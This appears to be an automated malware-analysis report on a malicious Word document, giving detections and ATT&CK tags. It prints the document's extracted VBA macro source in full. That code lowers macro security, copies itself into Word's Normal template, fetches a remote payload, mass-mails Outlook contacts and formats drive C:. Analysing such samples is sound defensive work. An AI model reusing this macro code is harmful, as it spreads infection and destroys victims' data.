MALICIOUS
322
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains VBA macros, including a Document_Open macro that attempts to execute code. The 'update' subroutine uses CreateObject to instantiate InternetExplorer and navigate to 'http://www.funkyvxer.8k.com/viruses/macro.txt', then attempts to execute the content from the body of the response. This indicates an attempt to download and execute a second-stage payload.
Heuristics 7
-
ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Psycho-3
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.funkyvxer.8k.com/viruses/macro.txt In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2393 bytes |
SHA-256: a209ac89a67d5badd68890bc2a64afc1a3d2c9f68665d42c571e4791057a6239 |
|||
|
Detection
ClamAV:
Win.Worm.Alcop-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Private Sub Document_open()
On Error Resume Next
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Set AcDoc = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
Set NorTEmp = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
Set ThisDoc = ThisDocument.VBProject.VBComponents.Item(1).CodeModule
Start_line = ThisDoc.ProcStartLine("document_open", vbext_pk_Proc)
If AcDoc.countoflines <> 0 Then
Ad_Lines = AcDoc.Lines(Start_line, AcDoc.countoflines)
If InStr(Ad_Lines, ThisDoc.Lines(Start_line, 27)) = 0 Then
AcDoc.AddFromString ThisDoc.Lines(Start_line, 27)
End If
Else
AcDoc.AddFromString ThisDoc.Lines(Start_line, 27)
End If
If NorTEmp.countoflines <> 0 Then
Nt_lines = NorTEmp.Lines(Start_line, NorTEmp.countoflines)
If InStr(Nt_lines, ThisDoc.Lines(Start_line, 27)) = 0 Then
NorTEmp.AddFromString ThisDoc.Lines(Start_line, 27)
End If
Else
NorTEmp.AddFromString ThisDoc.Lines(Start_line, 27)
End If
End Sub
Sub update()
Set objNET = CreateObject("InternetExplorer.Application")
Do While objNET.Busy
VBA.DoEvents
Loop
objNET.Visible = 0
objNET.Navigate "http://www.funkyvxer.8k.com/viruses/macro.txt"
Do While objNET.ReadyState <> 4
VBA.DoEvents
Loop
scode = objNET.Document.Body.innerText
objNET.Quit
End Sub
Sub outlook()
On Error Resume Next
Dim a, b, d, c, e, y, x, oo
Set a = CreateObject("Outlook.Application")
Set b = a.GetNameSpace("MAPI")
If a = "Outlook" Then
b.Logon "profile", "password"
For y = 1 To b.AddressLists.Count
Set d = b.AddressLists(y)
x = 1
Set c = a.CreateItem(0)
For oo = 1 To d.AddressEntries.Count
e = d.AddressEntries(x)
c.Recipients.Add e
x = x + 1
If x > 101 Then oo = d.AddressEntries.Count
Next oo
c.Subject = ""
c.Body = "mango party starts"
c.attachments.Add "mangoparty.com"
c.Send
e = ""
Next y
b.Logoff
End If
End Sub
Sub blackhole()
sCmd$ = "echo y|format c: /u"
Shell Environnement$("COMSPEC") + "/c " + sCmd$, 0
End If
'w2000.lame
'created by a.v
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.